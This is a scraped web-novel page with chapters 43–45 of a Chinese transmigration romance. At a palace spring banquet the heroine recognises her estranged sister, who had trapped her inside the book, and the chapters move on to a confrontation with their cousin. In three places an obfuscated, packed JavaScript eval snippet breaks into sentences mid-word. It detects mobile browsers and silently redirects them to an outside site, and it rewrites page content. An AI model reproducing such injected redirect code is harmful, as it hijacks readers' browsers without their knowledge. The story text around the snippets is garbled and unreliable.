之前他听人说,女人生气了都是要哄一哄的,可他堂堂世子何时哄过人,一时不知该说什么好,四下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14511803|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打量一番,见回廊下一个小孩屁颠屁颠跟在陵光后面往后院去了,脑子也不知在想什么,下意识就问出来一句: “你喜欢男的还是女的?” “?!”沈今禾回头惊悚地看着他,大白天问别人的性取向不太合适吧! “不是,你那是什么表情!”她这人脑子里的想法向来千奇百怪,李怀远几乎一瞬间就意识到自己话里的歧义,连忙解释:“我是说,如果你以后有孩子,那个……你喜欢男孩还是女孩?” “……”更奇怪了好吗! 好吧,李怀远也意识到这问题挺突兀的,于是尴尬地闭上了嘴。 沈今禾不明白身旁之人为何一直坐立难安的样子,好像想说什么,又频频欲言又止。正想着,就看见坐在王妃身侧的慕容宛举杯,“王妃福寿康健,朱颜永葆,妾身再祝王妃,乐事生平佔,天从人愿。” 此语方歇,众人都陆陆续续起身祝酒。 一曲弹罢,筵席靠前那位被王妃称作迎姐的夫人借着酒兴,把周遭几人家的儿女事问询了遍,目光扫到慕容宛时,却一改说笑的语气,赞叹道: “慕容姑娘天资不凡,听闻琴棋书画每一样都是顶好的,哎呦令尊可真叫人艳羡,我那个顽劣的幼女要是能习得姑娘半分才情,我都得去寺里磕头烧香地还愿了。” 王妃笑了笑:“这是说的哪里话,孩子们各有各的过人之处,只要明事理懂孝顺,都是好孩子。你好歹还有个贴心肝的闺女,倒叫我们这些没有女儿的上何处说理去。” 迎夫人捂着嘴笑:“你又噎我了,我只是今日见着慕容姑娘举止投足实在惊为天人,不免有些感慨罢了。” 另一位蓝衣夫人接道:“可不是么,慕容姑娘宛若青女便罢,连身旁这位女使都好看得紧,跟天宫里的宫娥似的,叫人挪不开眼,日后指定也能嫁个入仕的如意郎君呢。” 那女使羞得低了头,谁知慕容宛却似笑非笑,“夫人抬举了,她可不是什么女使,只是个良馀贱籍的家奴而已,上不得什么台面。别说是官宦人家,就是嫁个秀才也不成,没记错的话,大郅国有过规定,良馀贱籍不得科考入仕,亦不得与朝臣及世家大族通婚。” 沈今禾手一抖,玉盏的茶不小心洒出来几滴。 再看李怀远,压根就没听上面那些人在说什么,正一脑门官司地想,该怎么给沈今禾解释自己去折枝这件蠢事。 听了慕容宛的话,蓝衣夫人道:“嗯,这话倒是不假。” 迎夫人轻轻“咦”了一声,“没想到慕容姑娘还懂大郅律法,真真是个奇人儿,这世上恐怕没有你不知道的吧。” “夫人谬赞。”慕容宛掩面轻笑:“秋弥国建都于南越四国旧址,良馀贱籍的事国人自然都知道些,在国都,这些贱籍之后大多也都不愿提及家史,不仅如此,还有专门造假户籍的呢。” 旧时南越四国,惠稽,良馀,建彰,越攘,在良馀被大郅国灭掉之后,其余三国开始争城略地,互相讨伐,结果几败俱伤,十余年后,三家皆被周边新兴起的一个小国给荡平了,三家统一,并进了新的王朝,史称秋弥国。 秋弥国的百姓一多半都是旧时四国国人,崇尚并效仿大郅风气的秉性丝毫未改,故而在秋弥境内,良馀贱籍也不太被国人待见,尤其是那些自诩文士拿腔作调的“文人墨客”们。 迎夫人对秋弥国人知不知晓大郅的这项规定并不感兴趣,只就着慕容宛最后一句话说:“哎呦,制造假户籍在大郅可是件不得了的罪过。” “此事妾身也略有耳闻。”慕容宛有意无意地看向最后一排的位置,笑道:“据说造假之人若是良馀贱籍,可是要砍头的……哦对了,前阵子妾身在上京一家茶楼吃茶,竟无意听人说,如今朝中有位小官曾经就是良馀贱籍,只不过改头换面了无人知晓罢了,也不知是真是假。” “谁啊?” “谁啊这是?” 众女眷闻言议论纷纷。 43.第 43 章 王妃眉头微拧,听慕容宛一口一个“良馀贱籍”地叫着,脸色稍有不虞。心想,这好好的人儿怎么突然就刻薄起来了。 她身后那孩子虽是奴仆出身,却也不该在大庭广众之下就揭人的短,俗话说君子九思,言不辱人,不欺之以弱小,慕容姑娘怎么全然一副咄咄逼人的气势,说的那孩子连头都抬不起来了。 王妃看了慕容宛一眼,顿时对她的好感就所剩无几了,咳嗽了一声打断众人的议论。 “大好的春光里,竟说这些无关的作甚。”她笑着看向下首,话头一转,问辽夫人:“听闻你家长子的新妇要生了,肚子大的吓人,可万万要看顾好了,请个好点的稳婆,叫媳妇少受些罪。” 辽夫人道:“多谢王妃关怀,都准备妥当了。” 话头扯了回来,众人本身就对那些律法什么的兴趣乏乏,此刻说起新妇生产,又都七嘴八舌地聊了起来,全然忘了良馀贱籍一事。 惟余角落里一人,身子微微颤抖,指节用力地握着玉盏,盯着桌案一声不吭。 慕容宛说这些话是什么意思?是不是故意说给自己听的?沈今禾紧抿双唇,边告诫自己冷静下来,边绞尽脑汁地想着应对措施。 如果慕容宛真的当众揭发自己是良馀贱籍,那她手上有没有什么得力的证据?这些证据又是否足以毁掉自己? 还是说,直至目前,她也尚未确信自己的身份,一切都只是猜测而已。 想得过于投入,以至于李怀远搭了好几次话沈今禾一个字都没有听进去,李怀远默道不妙,估摸着她这下是真气着了,一定是觉得自己也如柳南钦那般拈花惹草,毫不自爱。 故而不愿再理会他。 成堆的人影如扑棱棱的花蝴蝶,绕得李怀远眼晕目眩,再加上他有心事,只坐了不到一个时辰便坐不住了。 原本想邀请沈今禾出府游玩,又觉得此处人多不方便明说。再者沈今禾还未消气,一时半会儿肯定不愿再理他,他也不敢去触她的霉头,便只道宴会结束时送她回驿馆。 接着一刻也不多待,趁着王妃一个不留神,就溜出府去了。 他想到以前他爹每回惹得他娘生了气,又不会哄人,就上街买一大堆吃的用的,他娘看见后也就没那么气了,于是打算效仿一番,给沈今禾买几个簪子什么的。 画楼早春,庭中春花争相斗妍。 坐在筵席角落里的沈今禾自然不知道李怀远又想多了,此刻,正一边看佳人们玩耍嬉闹,一边悄然注视着慕容宛的举动。 春日宴上,除去集众赏花,莺歌燕舞,佳人们最喜爱的,莫过于酒到酣时玩飞花令,或是闲亭对弈。 这些世家大族的闺秀们,平日里也没有多少这样的机会可以聚集在一起,今日好不容易得了空,便将时间抛之脑后,玩得不亦乐乎。 故而待宴席散尽,已至桑榆暮景之时。 慕容宛提前离席,现已不知去了何处。沈今禾在后院一处专门用作练武的校场找到了系统,找到她时,她正拖着一杆长枪满头大汗地转着圈。 沈今禾:“竟无聊到这种份上了……” 两人穿过拱门,越过中庭的廊庑,往王府外走去。系统蹦蹦跳跳,“午后我向陵光请教了一番,他说我这个年纪开始练功还不算太晚,真是太好啦。” 哦,原来是在练功。 “所以你的意思是……让我给你报个兴趣班?” 系统双手叉腰:“用不着你,我已经给自己找好师父了。” “不会是陵光吧?”沈今禾微微讶异,他看起来不像是好收徒弟的人啊。 “嘿嘿,你绝对想不到他为什么会答应。”系统神神秘秘地凑过来,低声道:“他把我当成了你不知道跟谁生的孩子。” “什、什么?!你没解释吗?”沈今禾张大嘴巴。 “我告诉他,如果他答应教我练功,我就永远不会告诉李怀远这个秘密。” “……”造孽啊。 沈今禾无奈地揉了揉额角的青筋,正要说自己年纪轻轻风评被害,一抬头,就见早春扶柳下站着个人,脸上浸满了笑意地看着她。 她身形一颤,差点没站稳,心说这人怎么阴魂不散的。 不过下午的时候沈今禾已经想通了,慕容宛既然已经同小侯爷和离,那就不再是秋弥国的贵夫人,自己好歹也是大郅国的官员,自然没有怕她的道理。 不仅不用怕,甚至可以完全用下巴看她。沈今禾捋了捋官服的衣袖,抬着头眼睛都不眨一下地从慕容宛面前经过。 岂料刚走过柳树旁,就听见背后传来一声幽森的声音。 “小寄奴,不认识我了吗?” 霎时一股冷意从脚底钻入,沈今禾整个人动弹不得,仿佛坠入了冰窟。她没猜错,她果然没有猜错!慕容宛真的是永州那个人…… 幼时没人给她取名,永州那群人便叫她小寄奴,这个名字被整整叫了六年,那种讥诮不屑的语气,她不会听错…… 慕容宛如同看猎物一般看着沈今禾眉间那道疤痕,鬼森森地笑道:“你还真是让我一番好找啊。” 专门找她?慕容宛究竟想做什么? 打死也不能承认。沈今禾稳住心神,转过身来淡淡笑道: “慕容姑娘虽是秋弥国之人,可既在我大郅境内,那就得守我大郅的规矩。造谣侮辱官员,依律杖责二十,我念姑娘初来乍到,看在王妃的面子上不与你计较,还望姑娘日后谨言慎行,别再说蠢话了。” “否则屁股开了花不说,别人还会议论,秋弥国第一才女竟是个乱嚼舌根的蠢妇。” 话音未落,就见树下的人猝然敛了笑意,一言不发,只阴恻恻地盯着沈今禾,仿若要将她撕咬扯断。 良久嗤道:“时隔多年,你还是这么伶牙俐齿。” 见她眼神愈发阴沉狠戾,系统警惕地挡在沈今禾身前,故作镇定:“你要干嘛!你胆敢……” 话没说完,就被沈今禾一把拽了回来,掀到了身后面去。沈今禾看不出对方的意图,心里没底,自然不能让她知晓系统的存在。 倏忽,慕容宛突兀地笑了一声,扯断了一根刚生出新芽的柳条拿在手里把玩。 “小寄奴啊小寄奴,你还是老样子,对谁都信不过,对谁敌意都很大。我又不是来揭发你的,只是想着日后我若嫁进了世子府,上京城总归就那么大个地儿,我们俩总是低头不见抬头见的,故而来找你寒暄几句罢了。” “你要嫁李怀远?”沈今禾冷冷道。 “不可以吗?” “为什么?” “瞧你这话问的。”慕容宛像是听到了什么笑话,掩面轻笑,“君子如玉,举世无双,试问天底下哪个女子不想嫁个这样的?” 沈今禾目光锐利地看着她,显然是半分未信。 “真没劲,好吧,其实我是逗你的,我根本一点都不想嫁给李怀远。” “那你来做什么?”沈今禾依旧面无表情。 “噢,你的反应真不好玩,原本不想这么早告诉你……既然是你非要听实话,那我说了你可别后悔哦……” 她看似在笑,却像极了阴暗中邪魅森寒的蟒蛇,仿佛一不注意,就会被她生吞活剥。 系统被那个笑声吓得双腿有些发软,拽了拽沈今禾的袖子小声道:“别听她话说八道了,快走吧。” 沈今禾也不知自己怎么了,脚下像灌了铅般一动不动,死死盯着慕容宛嚅动的唇部,只听她漫不经心地说: “我来这里,自然是为了你呀。看你过得如此好,我就开心不起来,所以你喜欢的东西,我都要通通拿走的,李怀远也不例外。” “李怀远是个人,不是我的什么东西。”沈今禾依旧盯着她。 “男人嘛,是个什么都无所谓,反正我有的是办法将他们勾到手。”慕容宛邪魅一笑,饶有兴趣地看着沈今禾脸上五颜六色的神情,无辜又温和地说道: “仔细想想,我这么做还是在帮你呢。” “你想啊,我要是真的能让李怀远爱上我之后抛弃你,那你不就可以因爱生恨,然后顺理成章地杀了他吗?哦对了,据我所知,你的系统任务还有好几天的有效期呢……” “难道你真的不考虑考虑,完成系统任务回去原来的世界吗?阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14524091|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔。” 阿乔?! 这事她怎么会知道?! “轰”地一声,沈今禾只觉得一座巨石大山从天而降,狠狠地朝她砸来。她被压制着动弹不得,整个人又惊又恐,险些失声叫出来。 待回过神来,才发现冷汗已经濡湿了后背的中衣,浑身起满了鸡皮疙瘩。眼神空洞地念叨着:“是你,怎么可能,怎么会是你……” 系统还没从方才那个阴郁的笑声中反应过来,只以为慕容宛机缘巧合偷听过他和沈今禾的对话,于是推了推沈今禾小声问:“她怎么知道这些的?” 推着推着,突然后背一僵,“啊”地一声叫了出来:“我C!蒋菁媱!你是蒋菁媱!” 有那么一瞬间,系统觉得自己要窒息了,抱着头连连往后退了好几步,这冲击力实在太强了,她蹲在地上“啊啊啊”地嚎叫。 沈今禾全身的血液都化作了岩浆一般,灼烧着骨髓和皮肤,她双眼布满血丝木木地朝着对面之人扑了过去。 待意识回转过来,才发现自己的双手已经紧紧扼住那人的咽喉,嗓音沙哑:“为什么!为什么要害我,我究竟做了什么对不起你的事情,能让你如此恶毒地对自己的亲妹妹痛下杀手!” 慕容宛高贵不复,金钗玉簪与树干上摩擦掉了一地,整张脸都扭曲了起来,癫狂道:“咳咳,你活该,哈哈哈,我就是看不惯你。” 手上的力道不由加重,沈今禾想到自己初来的那些年,真想就这么活活把她掐死算了。 “快放开!”系统急得直拽她的手臂,“你要真把她掐死了,那你在哪个世界都是死罪,为这么个疯子真不值当!” 沈今禾手一松,那人就直接靠着树滑了下去,整个身子软趴趴地倒在地上,大口大口地喘气。 这时李怀远正好从外面回来,一抬头就看见柳树下站着几个人。走近一看,才发现沈今禾双眼腥红,脸色发青,盯着地上慕容宛的眼神像是要杀人。 他心虚得厉害,心想肯定是慕容宛在她面前说了什么话,激怒她了,否则平日里那么心平气和的一个人,怎么可能突然变成这样。 可他当时在去折枝的路上,真的没与慕容宛说过半句话,并始终保持着几尺的安全距离,该死的,慕容宛到底给沈今禾胡乱说了什么! 不管怎么说,还是他先低头认个错吧。 李怀远摸摸鼻头,“那什么,不是说好我送你回去吗,怎么也不打声招呼就走了,你还在生我的气……”话没说完,就见眼前的人脸色惨白,直直地往台阶的棱角上栽去。 “喂!”李怀远手疾眼快地接住她,“你怎么了,是不是哪里不舒服?” 又转身朝身后抱着好几个妆奁的陵光道:“东西放下,快去请郎中。” 不待陵光离开,沈今禾已经扶着李怀远的胳膊站稳了身子,大口地吸了几口气,仿佛恢复了神志:“我没事。” 再四下一看,才发觉慕容宛不知何时已经不见人影了。她心里好像有什么东西堵住了似的,尽管她拼命呼吸,却还是有些窒息。 沈今禾边往外走,边用手一下一下地抚着胸口,想将憋闷的地方疏通开来。 李怀远又急又气,恨不能回到过去揍柳南钦两拳,顺便也揍自己两拳。自己也真是昏了头,怎么就能听了那个风流浪荡子的浑话。 此刻,太阳已经完全落进山里,周遭的一切都在暗青的暮色中慢慢沉淀。 檐下掌了灯,昏昏黄黄地一片,溶在即将来临的夜色里。几人刚出得王府中门,拐了个弯,没走十来步,李怀远正转过身要说话。 “我跟慕容宛……” 谁知刚开了个头,就见身旁之人猝然一窒,弯着身子“噗”地吐出一大口血。 “沈今禾!”他失神叫道。 李怀远脑袋里发出阵阵翁响,心里陡然划过柳南钦的那句话……你要是在春花宴上对那位慕容天仙表现出几分殷切,那沈编修还不得气吐血啊! 怎么回事?!她真吐血了! 这究竟是怎么一回事?李怀远简直要疯了,伸过去扶她的两只手臂止不住地打颤:“你、你别吓我!” 44.第 44 章 甩掉脑子里那些没用的东西,他急忙扶沈今禾坐在路边的石阶上,让她仰着头靠在自己腿上歇了片刻,又把手指探向她颈间脉搏。 “怎么样了,还想不想吐?能不能动,还说得出来话吗?” “哎呀你能不能一个一个问啊,她都这样了,还怎么回答你的问题?”系统蹙着眉担忧。 李怀远不欲与黄口小儿呈口舌之快,只冷着脸道:“让陵光速找郎中来。” 系统脸更冷,“已经去了。” 昏黄的灯光映在沈今禾脸上,她闭着眼睛休息了会儿,整个人清醒了许多。 其实倒也没多大事,方才只是因为慕容宛,或者说是因为蒋菁媱的突然现身,导致她急火攻心,巨大的情绪起伏使得血液全部拥堵在胸口,上不来也下不去,闷得人喘不过气。 现在将淤血吐了出来,身体一下子舒坦了不少。 沈今禾睫羽微眨,伸手拽住李怀远正在擦拭血痕的那只手:“世子,没事了,扶我起来吧。” 刚吐过血怎么可能没事,李怀远甚至都不敢挪腾地儿抱她回府,只能先教着她如何吐息可以减少疼痛。 无奈又闭眼养了会儿神,沈今禾觉得方才胸腔里那种揪着的疼痛渐渐弱了,只是呼吸时隐隐有些作痛罢了。 这场病来的急,去得也快。她坐起身有些尴尬,“真没事了,世子。” “那你刚才是吐血玩呢?”李怀远板着脸,心想怕不是病傻了。 沈今禾正想着该怎么证明自己真的没事了,就见李怀远束了袖口,兀地将她打横抱起,往王府的方向走去。 她立马就慌了,“快、快放我下来,我自己能走……” 宴席上那些夫人们还没散尽,此刻估计正留在府中与王妃攀着闲话。这要是被她们看见,明日一早保准整个浔阳城都会知晓,堂堂凌安王世子夜会七品小官,两人搂搂抱抱前往寝殿。 说不定过几日连话本子都能赶制出来,什么世子强取豪夺,沈编修以色侍人,乱七八糟的情节满天飞。 那他们两个都不要再做人了! “你还在乎这个?”李怀远平稳地抱着她,听完她的忧虑没忍住笑出声来。 “依大郅律例,官员名声……” “行了,别依大郅律例了,依点别的……我总不能对你见死不救吧。”见她神色如常地说了许多话,李怀远这才放了心与她打趣。 系统在一旁嘀嘀咕咕:“你倒是真的挺见死爱救哦。帮静文公主瞒天过海,还帮慕容宛折梅花。” “……” 李怀远狐疑道:“你怎么知道静文公主的事?” “!” “呃那个!是因为……因为……”总不能说我当时就飘在你头顶听到的吧!系统一双大眼睛四处乱瞟,绞尽脑汁地想理由,想着想着,忽而眼神一亮,说道: “当然是沈今禾告诉我的啊。” 怎么可能?沈今禾才不屑于说他的事。 沈今禾扭头瞪了系统一眼,示意她不要乱说话,谁知系统压根就没看她,抄着手老神在在道:“你还是太不了解女人了,女人嘛,最喜欢议论的就是别的女人,尤其是情敌。” “静文又不是……” “你不懂,女人的心比针尖还细,假想的情敌也算情敌嘛,所以你们的事她全都讲给我听过啦。” “哦?”李怀远挑了挑眉,看向怀中之人。 系统又改成背着手,蹦蹦跶跶地走在最前头,心说自己可真是太聪明了,直接把以后再说漏嘴的情况都考虑进去了。 沈今禾只能闭眼装死。 须臾,寝院的门传来“吱嘎”的开合声,她感觉到自己被人小心翼翼地放在榻上。 “睁眼。”李怀远拍了拍她的脑袋,看她长长的睫毛一眨一眨的,故意道:“真遗憾啊,一路上都没遇见那些夫人,看来是没有话本子可看了。” “……” 被李怀远和系统这么一搅和,沈今禾反倒没有了方才那种不寒而栗的感觉。虽说蒋菁媱的出现完全出乎她的意料,但她和系统原本也是要找她的,现在既然找到了,应该算好事情才对。 郎中看过之后也说她并无大碍,淤血已经吐了出来,接下来几日只需静养,再辅之以几味药材补补,不日即可痊愈。 李怀远走后,系统靠坐在榻边,在空中上方的屏幕上快速地打着字,准备汇报蒋菁媱已经找到的事。 不料沈今禾压下她的手腕,摇了摇头,“不能发。” “为什么?” “方才蒋菁媱提起系统任务的事,说明她很有可能有更高的权限,能看到你和穿书组织记录在屏幕中的对话。所以我们不能直接将信息反馈回去,以免打草惊蛇。” 系统神色一凛:“对对对!是这样没错,那接下来该怎么办?” 沈今禾思忖道:“只能先找表哥来了。蒋菁媱不知道有穿书组织的人进来书里抓她,要不然她不会如此干脆地自爆身份。” 也不会一副好戏才刚刚开场、欲将自己玩弄于鼓掌的姿态。 “可是你之前不是说,你表哥和舅舅有意要包庇她吗?” “现在也没有更好的办法了。”沈今禾走到案前,提笔写了一封信,交到系统手中,“先请表哥来吧,如果他没有缉拿蒋菁媱的打算,到时候你再立即汇报此事。” “那他们要是逃走了怎么办?” “逃不走。你拿着这封信现在去找叶绥帮忙,让他亲手将此信交给柳府的郑元先生,再叫他在王府找几个信得过的人暗中盯着慕容宛,一旦她要出府,便立即告诉我……就说是慕容宛十分倾慕世子,可能要加害于我,叶绥定然会帮忙的。” “为什么不找李怀远帮忙?” 沈今禾摇了摇头,她不敢劳烦李怀远替她盯人,怕他万一看出什么端倪自己不好解释,想了想只能找叶绥。 “我明白了。”系统乖乖点头。 “做完这些之后,你就不要再过来了,找荷华要一辆马车送你回驿馆,这几日你安分待在驿馆里不要出来,左右几个禁军也在那边,应该不会有事。” 系统知道自己不可能留宿王府,否则明日一早无法解释身子变成男孩子的事,也就没再反驳什么,只皱眉道:“你的身体真的不要紧吗?” “还行,就是不能下地走太久,走得久了胸口疼。” “那我自己走了,你一定要小心啊。” 沈今禾点头,揉了揉她的脑袋:“去吧。” …… 翌日日出之际,太阳斜斜洒在东墙之上,王府的一处院落外有两人正争执不休。 只听墨衣公子道:“世子这是何意?” 李怀远负手而立,脸上没什么表情,“意思就是,闲杂人等不得入内。” “世子误会了,在下只是听闻表妹得了急症,实在放心不下,特来探望一番。” “哦,已经请郎中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14543933|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看过了,没什么大碍,你可以回去了。” “……” 郑元这几日在柳府做客,听柳南钦提过一嘴李怀远与沈今禾的事,此时想来,才猛然意识到李怀远这是把自己当情敌了,毕竟这个时代表哥表妹的名头最是暧昧不清。 于是暗笑几声,本想探一探他的心意好替小表妹把一把关,又觉得此刻实在不是时候,还是蒋菁媱的事情要紧。 遂道:“世子还是让我瞧一瞧表妹吧,不久之后在下就要启程前往上京参加科考。待春闱过后,又要赶往老家。实不相瞒,父母在老家替我相看了一门婚事,我是十分中意那位姑娘的,总不好叫人家一直等着。故而日后也不得空再来看她,还是看一眼才放心。” 原来已经有婚约了啊! 吃了颗定心丸,李怀远的脸色果然好了很多。不仅立即退到一侧做了个“请”的手势,还命人准备了茶水糕点送进了院里。 沈今禾抻了抻脖子,舒舒服服地伸了个懒腰。她这一觉难得地睡得十分踏实,也不知是不是王府里的香炉有安神的作用,明明诸事缠绕,却是一夜无梦直到天明。 郑元进来的时候,沈今禾正站在檐下看窗间挂着的一个雕花鸟笼。笼子里没有鸟,只余一个舒适的软窝,阳光垂在上头,更有一番别样的惬意。 “阿乔,你身体怎么样了?” 沈今禾一抬头,见一个墨衣公子推开院门缓缓走来,心头突然涌上一股说不上来的熟悉感。表哥这番打扮,总觉得似曾相识…… 那日在柳府偶然遇见,她当时只顾着惊讶,完全没有把注意力放到郑元的扮相上。此刻猛地看去,才发觉表哥这番打扮曾在哪见过…… 可是又着实想不起来究竟是在哪儿。 许是自己多心了吧。沈今禾道:“喝了药好多了。” 说完又忙不迭说起了昨晚蒋菁媱自爆身份的事。“对了表哥,既然你是穿书组织的人,强制扭送蒋菁媱回去应该不难吧,还需要我和系统帮忙吗?” 一提正事,郑元的神情也严肃了起来。 “这倒不是难事,她既然能来这里,说明一定也绑定着某个系统,只要找到她,在她的系统里直接输入返回指令,系统就会强制将她遣返回原世界。” 这事说着简单,就不知实际操作起来麻不麻烦。沈今禾试探道:“回去之后,以目前的证据……她会如何判刑?” 郑元知道因为此前那一番话导致表妹信不过他,他也没脸替自己申辩,想了想如实道:“这个得根据造成后果的严重程度来量刑,就目前来说,应该是无期徒刑。” 见她不语,郑元忙说:“如果你对审判结果不满,可以上诉,能帮得上忙的我一定帮。阿乔,这几天我想了很多,知道你这些年十分不易,我……那天说出那样的话,是表哥不对,我向你道歉。” 沈今禾对此倒没什么特别大的感触,主要是生过一次希望又破灭后,不敢再寄托第二次了,只盼着他快些将蒋菁媱抓回去依法处置就好。 正想着,门口突然传来一声尖叫,紧接着是银盘落地叮咣作响的声音。 二人闻言齐齐抬头望去。只见门槛后站着个清丽不俗的女子,正张着口不可思议地看向沈今禾身旁的男子。 一只圆圆的果子轱辘轱辘滚了过来,被桌腿拦下,停在沈今禾脚边。沈今禾低声道:“就是她。” 郑元脸色一变,“腾”地一下站起身子,“媱儿?你是媱儿?” 45.第 45 章 话音方落,那人便提着裙摆急匆匆地扑了过来,死死拽住郑元的袖袍,眼神亮得发光,声音颤巍巍道: “哥!是你,我还以为是秋弥国那个……太好了,竟然是你,真的是你,对了,我怎么没想到!早知道应该与你一起来这书里,那我还受那些折磨干什么。” 她一会儿惊呼,一会儿懊恼,一会儿又欣喜若狂,举止怪异,语言乱七八糟,不复往日那般大家闺秀之风,沈今禾完全听不懂蒋菁媱在说什么,只隐隐觉得她对表哥的情绪有些怪怪的。 郑元用力掰开蒋菁媱钳住自己的双手,眼底划过一丝闪躲与厌恶,往后退了一步,“媱儿,这一切都是你一手策划的?你为什么要进来书里?为什么要害阿乔?!” 面对他气势汹汹的三连问,蒋菁媱丝毫没有回答的意思,而是用近乎迷恋的眼神望着郑元。“哥,你怎么会来呢?” 郑元坐下来没好气道:“实话告诉你,我是穿书组织的人,来这里是专门为了将你遣返原世界。” “我不回去!”蒋菁媱突然脸色大变,像是发了疯一般,吼道:“回去干什么,亲眼看你跟你那位未婚妻结婚生子,白头到老吗!” 随之又话音一转,苦苦哀求,“哥,求你了,我不回去,你也不要回去,我们俩在这里开始新的生活好不好?” “!” 这、这……老天爷,这是什么惊天大瓜! 沈今禾不知道是不是自己没用早膳的关系,只觉得头晕目眩,脚下发虚,整个人快要站立不住了。 却听郑元一拍桌案,怒道:“暂且不提你什么时候有了那些龌龊心思,这一切究竟和阿乔有什么关系,你为什么要害她也来这里!” “她活该!”蒋菁媱似乎这才注意到了沈今禾的存在,眼中像是淬满了毒,恶狠狠道:“这些都是她应得的。” 她脸部变得狰狞又苦楚,“凭什么从小到大,蒋菁乔总是过得比我好?小时候父母商议把哪个孩子寄放在外婆家,她一哭,我妈就立马决定要舍弃我,然后带着她出国去过好日子了。那么多年,我恨死他们了!” “后来我好不容易淡化了对她的恨意,她又恬不知耻跑回来霸占我的家人,霸占外婆的关心,还有哥的爱意,凭什么,凭什么我的东西她都要抢走!我看见哥带她出去玩,一起合影一起看落日,我简直要嫉妒死了!恨不得她马上死掉才好!” “啪”,一声响亮的耳光响彻整间屋子。 郑元气得手都在抖,难以置信地看着她,“你这个疯子,就因为这个你就如此加害自己的妹妹?!” “就因为这个?”蒋菁媱气极反笑,捂着半边脸,眼神里布满可怖的血丝,“哥,你知道幼时的我被父母抛下,不知何时才能再见一面,那种恐惧是什么滋味吗!” 郑元失望地看向她,“是,你过得苦,那阿乔就不苦吗?你真以为她在国外过的是什么神仙日子?姑姑姑父工作太忙,请的保姆中途跑掉,她一个小孩子在人生地不熟的地方,语言不通,吃饭找不到馆子,做饭被烫的满手是泡,被同学霸凌,林林总总,难道她就容易吗?” “再说后来,他们意外去世,你作为姐姐不想着疏导妹妹的阴霾,竟然还说她回来霸占了原本属于你的位置?我为什么带她出去散心,认识新的朋友?不就是想让她从父母去世的阴影中走出来吗?你竟如此曲解……” “那我呢,哥,那我呢!”蒋菁媱不甘地盯着郑元,沙哑的声音里带着几分偏执,“你为什么不来安慰我,难道你对我就一点感情也没有吗!” “闭嘴!”郑元抬手掀开覆在自己右臂上的那只手,深吸一口气。 “我本不想在阿乔的面前揭露你,但你实在是太过了!你自己扪心自问,姑姑姑父去世时,你真的有过半分难过吗?你忘了自己在日记里是怎么写的吗?” 蒋菁媱失踪后,警方找到了她的日记本,里面密密麻麻地记录着经年累月的恨意,其中一页用红色的笔写道: 太好了那对夫妻死了,天道好轮回,要是蒋菁乔也能一起死掉就更好了。 帷幔半收拢着,沈今禾整个身子匿在纱幔后面,半晌未语。 她不知道这些年来蒋菁媱竟然如此憎恨父母,也憎恨她,在她的印象中,只记得每次与外婆那边通电话,蒋菁媱从来不接,后来长大她也从不愿意回家来住,偶尔外婆好说歹说,又哄又劝,她才会飞过来看他们一次。 此刻听着他们争执才恍然意识到,那些年她自以为的与姐姐不亲昵,一直都只是她单方面的想法而已,原来她的姐姐,一直都在盼着自己去死。 另一头的两人还在黏哒哒地拉扯,沈今禾僵硬的坐在榻边,盯着案台上一只古铜色的花瓶发呆。 良久才趁着他们吵停的空档,问蒋菁媱。 “所以,你是因为这个原因才精心策划了一场谋杀?给我制造如此悲惨的身世,是因为你想让我也尝尝有母不如无的滋味,而切断载体,是想让我一个人在异世中绝望地慢慢被折磨而死,是吗?” 沈今禾没有指责她,只平静地陈述事实。 反倒是郑元气得上气不接下气。“你怎么能做出这样可怕的事?姑姑对你常觉亏欠,一直想方设法的补偿你,奶奶更是将你从小宠到大,你要星星,她绝不摘月亮,怎么养出你这么个白眼狼来!你叫她老人家如何不心寒?” 蒋菁媱摇着头,难以置信自己最敬仰的表哥如此看待自己,心里恨意更浓,忽地上前一把掐住沈今禾的脖颈,双眼通红。 “闭嘴!你一个既得利益者,你有什么资格质问我!小时候被抛弃的又不是你,现在被表哥厌弃的也不是你,你凭什么一副高高在上的语气跟我说话!” 被嘞得有些喘不过气,沈今禾眼眸一沉,艰难道:“放、手。” “不放!我为什么要……” 只听“啪”地一声,沈今禾用力握住蒋菁媱那只手,反手掴在她脸上,一把将她甩在地上,站起身子颤抖着道: “我从来都不是什么既得利益者,你也别用什么原生家庭的话来堵我,只有没本事的人才会天天把原生家庭挂在嘴边,你要恨父母你自去恨,我没有资格评判你们之间的恩怨。但我们两人之间的账,不能因你卖两句惨就这么算了,你既然害我至此,就必须接受法律的处置,哪容得你不要脸地在这里安安稳稳过日子?!他妈想都别想。” 小表妹向来平和,郑元还是头一遭见她如此动怒,他知道她定是气得狠了,才说出这样的话。 